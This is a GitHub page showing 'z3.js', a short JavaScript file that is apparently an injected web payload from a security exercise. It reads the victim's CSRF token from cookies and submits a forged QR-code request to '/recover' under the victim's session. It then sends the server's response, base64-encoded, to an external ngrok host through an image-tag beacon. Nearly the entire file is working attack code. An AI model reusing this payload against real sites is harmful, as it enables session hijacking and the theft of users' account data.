-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathz3.js
28 lines (25 loc) · 3.9 KB
/
z3.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function dataURItoBlob(dataURI) {
var byteString;
if (dataURI.split(',')[0].indexOf('base64') >= 0)
byteString = atob(dataURI.split(',')[1]);
else
byteString = unescape(dataURI.split(',')[1]);
var mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
var ia = new Uint8Array(byteString.length);
for (var i = 0; i < byteString.length; i++) {
ia[i] = byteString.charCodeAt(i);
}
return new Blob([ia], {type:mimeString});
}
function send_response(resp){
document.write('<img src="https://e8023e55.ngrok.io/record-data?name=documents&data='+btoa(encodeURI(resp))+'">');
}
function get_documents(resp){
console.log(resp);
fetch("/documents", {method: 'GET', credentials: 'same-origin'}).then(response => response.text()).then((response) => {console.log(response)});
};
qr = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAtoAAALaAQAAAAAnlcmeAAAICElEQVR4nO2dW6rjRhCG/4oM51GGWcAsRd5BljRkSdmBtJSzgIH2Y0Ci8tBdl9YZSIh7ZuzJXw8H25I+DoKi7tWi+G6y/fb92ADhhBNOOOGEE0444YQTTjjhrwuXJhdgux4C4BC746iXgLuI3ACIXA/B1t0sNxztFpF23+u/FsIJ/+lwqKoqFlVVLZOa7MBSAF3tFl3nHbpiUiwFiCcAtMewFP+kqrq+7mshnPAngZuGFgBL1bf8W9PBOfR3h66zpgxw/bqUSQ0wUUMJJ3yQXM4/LOtxAe7X9JMCgAATsN0mleVdoNtt2gEAspTjorgforj3rNd9LYQT/sxwuQHQP66Tyg2HYLseolpauKnrvANLOaRGpAAg8llVbv8GPkoIJ/z/ADcbOivgJlBxn3ZZylXiRln+nHbg/mkXYFJsv+8Xxf1NZRNAt9tlV9ybwf0R/znhhP+P4JuIiFwB4P7mxrBFlfLl/a0qXr2wFEC+vNt9S5lUvhRAbpH4/WH/OeGE/9LwakNPrX+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rq0Ty2e0RNdurptG4hfItRjGoYQTPk5E//me/yrb674WwgknnHDCCSeccMIJJ5xwwr+T/A2dlAR7ctoaWgAAAABJRU5ErkJggg==";
var d=new FormData();
d.append("qrcode", dataURItoBlob(qr), "qr.png");
d.append("_csrf_token", document.cookie.split("_csrf_token=")[1]);
fetch('/recover', {method: 'POST', body: d, credentials: 'same-origin'}).then(response => response.text()).then((response) => {send_response(response)});